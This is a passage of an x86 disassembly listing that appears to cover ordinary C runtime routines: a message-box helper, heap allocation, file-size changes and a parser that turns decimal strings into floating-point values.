jmp short loc_420D2E
sub_420CDF endp
; =============== S U B R O U T I N E =======================================
sub_420D4D proc near ; CODE XREF: sub_41EE5A+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_420D5E
add esp, 0Ch
retn
sub_420D4D endp
; =============== S U B R O U T I N E =======================================
sub_420D5E proc near ; CODE XREF: sub_420D4D+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_48AA01[eax], cl
jnz short loc_420D8B
cmp [esp+arg_4], 0
jz short loc_420D84
movzx eax, word_438A8A[eax*2]
and eax, [esp+arg_4]
jmp short loc_420D86
; ---------------------------------------------------------------------------
loc_420D84: ; CODE XREF: sub_420D5E+16j
xor eax, eax
loc_420D86: ; CODE XREF: sub_420D5E+24j
test eax, eax
jnz short loc_420D8B
retn
; ---------------------------------------------------------------------------
loc_420D8B: ; CODE XREF: sub_420D5E+Fj
; sub_420D5E+2Aj
push 1
pop eax
retn
sub_420D5E endp
; =============== S U B R O U T I N E =======================================
sub_420D8F proc near ; CODE XREF: sub_41F5B1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_489774, ebx
push esi
push edi
jnz short loc_420DDE
push offset aUser32_dll ; "user32.dll"
call dword_4230E0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_420E14
mov esi, dword_4230DC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_489774, eax
jz short loc_420E14
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_489778, eax
call esi ; GetProcAddress
mov dword_48977C, eax
loc_420DDE: ; CODE XREF: sub_420D8F+Bj
mov eax, dword_489778
test eax, eax
jz short loc_420DFD
call eax
mov ebx, eax
test ebx, ebx
jz short loc_420DFD
mov eax, dword_48977C
test eax, eax
jz short loc_420DFD
push ebx
call eax
mov ebx, eax
loc_420DFD: ; CODE XREF: sub_420D8F+56j
; sub_420D8F+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_489774
loc_420E10: ; CODE XREF: sub_420D8F+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_420E14: ; CODE XREF: sub_420D8F+1Cj
; sub_420D8F+33j
xor eax, eax
jmp short loc_420E10
sub_420D8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E18 proc near ; CODE XREF: sub_41F76E+22p
; sub_41F76E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_420E39
test esi, esi
jnz short loc_420E33
push 1
pop esi
loc_420E33: ; CODE XREF: sub_420E18+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_420E39: ; CODE XREF: sub_420E18+12j
; sub_420E18+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_420E98
mov eax, dword_48AB28
cmp eax, 3
jnz short loc_420E64
mov eax, [ebp+arg_0]
cmp eax, dword_48AB20
ja short loc_420E83
push eax
call sub_41ADDD
mov edi, eax
pop ecx
test edi, edi
jnz short loc_420EAE
jmp short loc_420E83
; ---------------------------------------------------------------------------
loc_420E64: ; CODE XREF: sub_420E18+30j
cmp eax, 2
jnz short loc_420E83
cmp esi, dword_43ACC4
ja short loc_420E83
mov eax, esi
shr eax, 4
push eax
call sub_41B880
mov edi, eax
pop ecx
test edi, edi
jnz short loc_420EC2
loc_420E83: ; CODE XREF: sub_420E18+3Bj
; sub_420E18+4Aj ...
push esi
push 8
push dword_48AB24
call dword_4230E8 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_420EBC
loc_420E98: ; CODE XREF: sub_420E18+26j
cmp dword_48950C, 0
jz short loc_420EBC
push esi
call sub_41A854
test eax, eax
pop ecx
jz short loc_420EC5
jmp short loc_420E39
; ---------------------------------------------------------------------------
loc_420EAE: ; CODE XREF: sub_420E18+48j
push [ebp+arg_0]
loc_420EB1: ; CODE XREF: sub_420E18+ABj
push 0
push edi
call sub_417030
add esp, 0Ch
loc_420EBC: ; CODE XREF: sub_420E18+7Ej
; sub_420E18+87j
mov eax, edi
loc_420EBE: ; CODE XREF: sub_420E18+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420EC2: ; CODE XREF: sub_420E18+69j
push esi
jmp short loc_420EB1
; ---------------------------------------------------------------------------
loc_420EC5: ; CODE XREF: sub_420E18+92j
xor eax, eax
jmp short loc_420EBE
sub_420E18 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41F813
loc_420EC9: ; CODE XREF: sub_41F813+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_48A7C0, esi
jle short loc_420F1C
loc_420ED8: ; CODE XREF: sub_41F813+1707j
mov eax, dword_4897A8
mov eax, [eax+esi*4]
test eax, eax
jz short loc_420F13
test byte ptr [eax+0Ch], 83h
jz short loc_420EF7
push eax
call sub_417600
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_420EF7
inc edi
loc_420EF7: ; CODE XREF: sub_41F813+16D5j
; sub_41F813+16E1j
cmp esi, 14h
jl short loc_420F13
mov eax, dword_4897A8
push dword ptr [eax+esi*4]
call sub_41793B
mov eax, dword_4897A8
pop ecx
and dword ptr [eax+esi*4], 0
loc_420F13: ; CODE XREF: sub_41F813+16CFj
; sub_41F813+16E7j
inc esi
cmp esi, dword_48A7C0
jl short loc_420ED8
loc_420F1C: ; CODE XREF: sub_41F813+16C3j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41F813
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420F21 proc near ; CODE XREF: sub_41FBF2+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_417830
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_48A8E0
jnb loc_421056
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_48A7E0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_421056
push 1
push esi
push ebx
call sub_41E217
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_421060
push 2
push esi
push ebx
call sub_41E217
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_421060
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_421003
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_417030
push 8000h
push ebx
call sub_421B5B
add esp, 14h
mov [ebp+arg_4], eax
loc_420FB7: ; CODE XREF: sub_420F21+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_420FC2
mov eax, edi
loc_420FC2: ; CODE XREF: sub_420F21+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41EAC2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_420FE0
sub edi, eax
test edi, edi
jle short loc_420FF6
jmp short loc_420FB7
; ---------------------------------------------------------------------------
loc_420FE0: ; CODE XREF: sub_420F21+B5j
cmp dword_4894B0, 5
jnz short loc_420FF3
mov dword_4894AC, 0Dh
loc_420FF3: ; CODE XREF: sub_420F21+C6j
or esi, 0FFFFFFFFh
loc_420FF6: ; CODE XREF: sub_420F21+BBj
push [ebp+arg_4]
push ebx
call sub_421B5B
pop ecx
pop ecx
jmp short loc_421043
; ---------------------------------------------------------------------------
loc_421003: ; CODE XREF: sub_420F21+71j
jge short loc_421043
push 0
push [ebp+arg_4]
push ebx
call sub_41E217
push ebx
call sub_41FB5E
add esp, 10h
push eax
call dword_423010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_421043
mov dword_4894AC, 0Dh
call dword_42308C ; RtlGetLastWin32Error
mov dword_4894B0, eax
loc_421043: ; CODE XREF: sub_420F21+E0j
; sub_420F21:loc_421003j ...
push 0
push [ebp+arg_0]
push ebx
call sub_41E217
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_421063
; ---------------------------------------------------------------------------
loc_421056: ; CODE XREF: sub_420F21+1Aj
; sub_420F21+36j
mov dword_4894AC, 9
loc_421060: ; CODE XREF: sub_420F21+4Ej
; sub_420F21+63j
or eax, 0FFFFFFFFh
loc_421063: ; CODE XREF: sub_420F21+133j
pop esi
pop ebx
leave
retn
sub_420F21 endp
; =============== S U B R O U T I N E =======================================
sub_421067 proc near ; CODE XREF: sub_42005D+2Bp
; sub_42005D+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_42107D
cmp ecx, esi
jnb short loc_421080
loc_42107D: ; CODE XREF: sub_421067+10j
push 1
pop eax
loc_421080: ; CODE XREF: sub_421067+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_421067 endp
; =============== S U B R O U T I N E =======================================
sub_421088 proc near ; CODE XREF: sub_421141+40p
; sub_421141+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_421067
add esp, 0Ch
test eax, eax
jz short loc_4210BA
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_421067
add esp, 0Ch
test eax, eax
jz short loc_4210BA
inc dword ptr [esi+8]
loc_4210BA: ; CODE XREF: sub_421088+19j
; sub_421088+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_421067
add esp, 0Ch
test eax, eax
jz short loc_4210D2
inc dword ptr [esi+8]
loc_4210D2: ; CODE XREF: sub_421088+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_421067
add esp, 0Ch
pop edi
pop esi
retn
sub_421088 endp
; =============== S U B R O U T I N E =======================================
sub_4210E6 proc near ; CODE XREF: sub_421141+30p
; sub_421141+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4210E6 endp
; =============== S U B R O U T I N E =======================================
sub_421114 proc near ; CODE XREF: sub_4216D9+1C8p
; sub_421BD1+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_421114 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421141 proc near ; CODE XREF: sub_421208+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_4211B5
push edi
mov [ebp+arg_8], eax
loc_421168: ; CODE XREF: sub_421141+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4210E6
push ebx
call sub_4210E6
lea eax, [ebp+var_10]
push eax
push ebx
call sub_421088
push ebx
call sub_4210E6
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_421088
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_421168
xor edx, edx
pop edi
loc_4211B5: ; CODE XREF: sub_421141+21j
; sub_421141+9Fj
cmp [ebx+8], edx
jnz short loc_4211E2
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_4211B5
; ---------------------------------------------------------------------------
loc_4211E2: ; CODE XREF: sub_421141+77j
mov esi, 8000h
loc_4211E7: ; CODE XREF: sub_421141+B9j
test [ebx+8], esi
jnz short loc_4211FC
push ebx
call sub_4210E6
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4211E7
; ---------------------------------------------------------------------------
loc_4211FC: ; CODE XREF: sub_421141+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_421141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421208 proc near ; CODE XREF: sub_4203A6+17p
; sub_4203D3+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_421243: ; CODE XREF: sub_421208+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_421259
cmp cl, 9
jz short loc_421259
cmp cl, 0Ah
jz short loc_421259
cmp cl, 0Dh
jnz short loc_42125C
loc_421259: ; CODE XREF: sub_421208+40j
; sub_421208+45j ...
inc edi
jmp short loc_421243
; ---------------------------------------------------------------------------
loc_42125C: ; CODE XREF: sub_421208+4Fj
push 4
pop esi
loc_42125F: ; CODE XREF: sub_421208+AEj
; sub_421208+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4214E2 ; default
; jumptable 0042126B case 10
jmp off_4216A9[eax*4] ; switch jump
loc_421272: ; DATA XREF: .data:off_4216A9o
cmp bl, 31h ; jumptable 0042126B case 0
jl short loc_421283
cmp bl, 39h
jg short loc_421283
loc_42127C: ; CODE XREF: sub_421208+C4j
; sub_421208+118j
push 3
jmp loc_4214A0
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_421208+6Dj
; sub_421208+72j
cmp bl, byte_438C90
jnz short loc_421292
loc_42128B: ; CODE XREF: sub_421208+124j
push 5
jmp loc_4214D8
; ---------------------------------------------------------------------------
loc_421292: ; CODE XREF: sub_421208+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4212B8
dec eax
dec eax
jz short loc_4212AC
sub eax, 3
jnz loc_42157B
jmp loc_42133B
; ---------------------------------------------------------------------------
loc_4212AC: ; CODE XREF: sub_421208+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_42125F
; ---------------------------------------------------------------------------
loc_4212B8: ; CODE XREF: sub_421208+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_42125F
; ---------------------------------------------------------------------------
loc_4212C1: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
cmp bl, 31h ; jumptable 0042126B case 1
mov [ebp+var_10], edx
jl short loc_4212CE
cmp bl, 39h
jle short loc_42127C
loc_4212CE: ; CODE XREF: sub_421208+BFj
cmp bl, byte_438C90
jz loc_421396
cmp bl, 2Bh
jz short loc_421310
cmp bl, 2Dh
jz short loc_421310
cmp bl, 30h
jz short loc_42133B
loc_4212E9: ; CODE XREF: sub_421208+207j
cmp bl, 43h
jle loc_42157B
cmp bl, 45h
jle short loc_421309
cmp bl, 63h
jle loc_42157B
cmp bl, 65h
jg loc_42157B
loc_421309: ; CODE XREF: sub_421208+EDj
push 6
jmp loc_4214D8
; ---------------------------------------------------------------------------
loc_421310: ; CODE XREF: sub_421208+D5j
; sub_421208+DAj ...
dec edi
push 0Bh
jmp loc_4214D8
; ---------------------------------------------------------------------------
loc_421318: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
cmp bl, 31h ; jumptable 0042126B case 2
jl short loc_421326
cmp bl, 39h
jle loc_42127C
loc_421326: ; CODE XREF: sub_421208+113j
cmp bl, byte_438C90
jz loc_42128B
cmp bl, 30h
jnz loc_4214F0
loc_42133B: ; CODE XREF: sub_421208+9Fj
; sub_421208+DFj
mov eax, edx
jmp loc_42125F
; ---------------------------------------------------------------------------
loc_421342: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
mov [ebp+var_10], edx ; jumptable 0042126B case 3
loc_421345: ; CODE XREF: sub_421208+184j
cmp dword_438C8C, edx
jle short loc_42135E
movzx eax, bl
push esi
push eax
call sub_41A342
pop ecx
pop ecx
push 1
pop edx
jmp short loc_42136C
; ---------------------------------------------------------------------------
loc_42135E: ; CODE XREF: sub_421208+143j
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_42136C: ; CODE XREF: sub_421208+154j
test eax, eax
jz short loc_42138E
cmp [ebp+var_4], 19h
jnb short loc_421386
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_421389
; ---------------------------------------------------------------------------
loc_421386: ; CODE XREF: sub_421208+16Cj
inc [ebp+var_8]
loc_421389: ; CODE XREF: sub_421208+17Cj
mov bl, [edi]
inc edi
jmp short loc_421345
; ---------------------------------------------------------------------------
loc_42138E: ; CODE XREF: sub_421208+166j
cmp bl, byte_438C90
jnz short loc_4213FD
loc_421396: ; CODE XREF: sub_421208+CCj
mov eax, esi
jmp loc_42125F
; ---------------------------------------------------------------------------
loc_42139D: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
cmp [ebp+var_4], 0 ; jumptable 0042126B case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_4213B6
loc_4213A9: ; CODE XREF: sub_421208+1ACj
cmp bl, 30h
jnz short loc_4213B6
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_4213A9
; ---------------------------------------------------------------------------
loc_4213B6: ; CODE XREF: sub_421208+19Fj
; sub_421208+1A4j ...
cmp dword_438C8C, edx
jle short loc_4213CF
movzx eax, bl
push esi
push eax
call sub_41A342
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4213DD
; ---------------------------------------------------------------------------
loc_4213CF: ; CODE XREF: sub_421208+1B4j
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4213DD: ; CODE XREF: sub_421208+1C5j
test eax, eax
jz short loc_4213FD
cmp [ebp+var_4], 19h
jnb short loc_4213F8
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4213F8: ; CODE XREF: sub_421208+1DDj
mov bl, [edi]
inc edi
jmp short loc_4213B6
; ---------------------------------------------------------------------------
loc_4213FD: ; CODE XREF: sub_421208+18Cj
; sub_421208+1D7j
cmp bl, 2Bh
jz loc_421310
cmp bl, 2Dh
jz loc_421310
jmp loc_4212E9
; ---------------------------------------------------------------------------
loc_421414: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
cmp dword_438C8C, edx ; jumptable 0042126B case 5
mov [ebp+var_24], edx
jle short loc_421430
movzx eax, bl
push esi
push eax
call sub_41A342
pop ecx
pop ecx
push 1
pop edx
jmp short loc_42143E
; ---------------------------------------------------------------------------
loc_421430: ; CODE XREF: sub_421208+215j
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_42143E: ; CODE XREF: sub_421208+226j
test eax, eax
jz loc_4214F0
mov eax, esi
jmp short loc_4214A1
; ---------------------------------------------------------------------------
loc_42144A: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
lea ecx, [edi-2] ; jumptable 0042126B case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_42145A
cmp bl, 39h
jle short loc_42149E
loc_42145A: ; CODE XREF: sub_421208+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4214D6
dec eax
dec eax
jz short loc_4214CA
sub eax, 3
jnz loc_42157E
loc_42146F: ; CODE XREF: sub_421208+2A4j
push 8
jmp short loc_4214D8
; ---------------------------------------------------------------------------
loc_421473: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
mov [ebp+var_20], edx ; jumptable 0042126B case 8
loc_421476: ; CODE XREF: sub_421208+276j
cmp bl, 30h
jnz short loc_421480
mov bl, [edi]
inc edi
jmp short loc_421476
; ---------------------------------------------------------------------------
loc_421480: ; CODE XREF: sub_421208+271j
cmp bl, 31h
jl loc_42157B
cmp bl, 39h
jg loc_42157B
jmp short loc_42149E
; ---------------------------------------------------------------------------
loc_421494: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
cmp bl, 31h ; jumptable 0042126B case 7
jl short loc_4214A7
cmp bl, 39h
jg short loc_4214A7
loc_42149E: ; CODE XREF: sub_421208+250j
; sub_421208+28Aj
push 9
loc_4214A0: ; CODE XREF: sub_421208+76j
pop eax
loc_4214A1: ; CODE XREF: sub_421208+240j
dec edi
jmp loc_42125F
; ---------------------------------------------------------------------------
loc_4214A7: ; CODE XREF: sub_421208+28Fj
; sub_421208+294j
cmp bl, 30h
jnz short loc_4214F0
jmp short loc_42146F
; ---------------------------------------------------------------------------
loc_4214AE: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
cmp [ebp+arg_18], 0 ; jumptable 0042126B case 11
jz short loc_4214DE
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4214D6
dec eax
dec eax
jnz loc_42157E
loc_4214CA: ; CODE XREF: sub_421208+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_42125F
; ---------------------------------------------------------------------------
loc_4214D6: ; CODE XREF: sub_421208+258j
; sub_421208+2B8j
push 7
loc_4214D8: ; CODE XREF: sub_421208+85j
; sub_421208+103j ...
pop eax
jmp loc_42125F
; ---------------------------------------------------------------------------
loc_4214DE: ; CODE XREF: sub_421208+2AAj
push 0Ah
dec edi
pop eax
loc_4214E2: ; CODE XREF: sub_421208+5Dj
; sub_421208+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0042126B case 10
jz loc_421580
jmp loc_42125F
; ---------------------------------------------------------------------------
loc_4214F0: ; CODE XREF: sub_421208+12Dj
; sub_421208+238j ...
mov edi, [ebp+arg_8]
jmp loc_421580
; ---------------------------------------------------------------------------
loc_4214F8: ; CODE XREF: sub_421208+63j
; DATA XREF: .data:off_4216A9o
mov [ebp+var_20], 1 ; jumptable 0042126B case 9
xor esi, esi
loc_421501: ; CODE XREF: sub_421208+339j
cmp dword_438C8C, 1
jle short loc_421519
movzx eax, bl
push 4
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_421528
; ---------------------------------------------------------------------------
loc_421519: ; CODE XREF: sub_421208+300j
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_421528: ; CODE XREF: sub_421208+30Fj
test eax, eax
jz short loc_421548
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_421543
mov bl, [edi]
inc edi
jmp short loc_421501
; ---------------------------------------------------------------------------
loc_421543: ; CODE XREF: sub_421208+334j
mov esi, 1451h
loc_421548: ; CODE XREF: sub_421208+322j
mov [ebp+var_1C], esi
loc_42154B: ; CODE XREF: sub_421208+371j
cmp dword_438C8C, 1
jle short loc_421563
movzx eax, bl
push 4
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_421572
; ---------------------------------------------------------------------------
loc_421563: ; CODE XREF: sub_421208+34Aj
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_421572: ; CODE XREF: sub_421208+359j
test eax, eax
jz short loc_42157B
mov bl, [edi]
inc edi
jmp short loc_42154B
; ---------------------------------------------------------------------------
loc_42157B: ; CODE XREF: sub_421208+99j
; sub_421208+E4j ...
dec edi
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_42157E: ; CODE XREF: sub_421208+261j
; sub_421208+2BCj
mov edi, ecx
loc_421580: ; CODE XREF: sub_421208+2DDj
; sub_421208+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_421668
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_4215AC
cmp [ebp+var_45], 5
jl short loc_4215A0
inc [ebp+var_45]
loc_4215A0: ; CODE XREF: sub_421208+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_4215AF
; ---------------------------------------------------------------------------
loc_4215AC: ; CODE XREF: sub_421208+38Dj
mov eax, [ebp+var_C]
loc_4215AF: ; CODE XREF: sub_421208+3A2j
cmp [ebp+var_4], 0
jbe loc_42165E
loc_4215B9: ; CODE XREF: sub_421208+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4215C7
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4215B9
; ---------------------------------------------------------------------------
loc_4215C7: ; CODE XREF: sub_421208+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_421141
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4215E6
neg eax
loc_4215E6: ; CODE XREF: sub_421208+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4215F1
add eax, [ebp+arg_10]
loc_4215F1: ; CODE XREF: sub_421208+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4215F9
sub eax, [ebp+arg_14]
loc_4215F9: ; CODE XREF: sub_421208+3ECj
cmp eax, 1450h
jle short loc_421630
mov [ebp+var_2C], 1
loc_421607: ; CODE XREF: sub_421208+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_421613: ; CODE XREF: sub_421208+454j
; sub_421208+45Ej
cmp [ebp+var_2C], 0
jz short loc_421679
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_42168E
; ---------------------------------------------------------------------------
loc_421630: ; CODE XREF: sub_421208+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_421640
mov [ebp+var_30], 1
jmp short loc_421607
; ---------------------------------------------------------------------------
loc_421640: ; CODE XREF: sub_421208+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_421DF1
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_421613
; ---------------------------------------------------------------------------
loc_42165E: ; CODE XREF: sub_421208+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_421613
; ---------------------------------------------------------------------------
loc_421668: ; CODE XREF: sub_421208+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_42168E
; ---------------------------------------------------------------------------
loc_421679: ; CODE XREF: sub_421208+40Fj
cmp [ebp+var_30], 0
jz short loc_42168E
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_42168E: ; CODE XREF: sub_421208+426j
; sub_421208+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
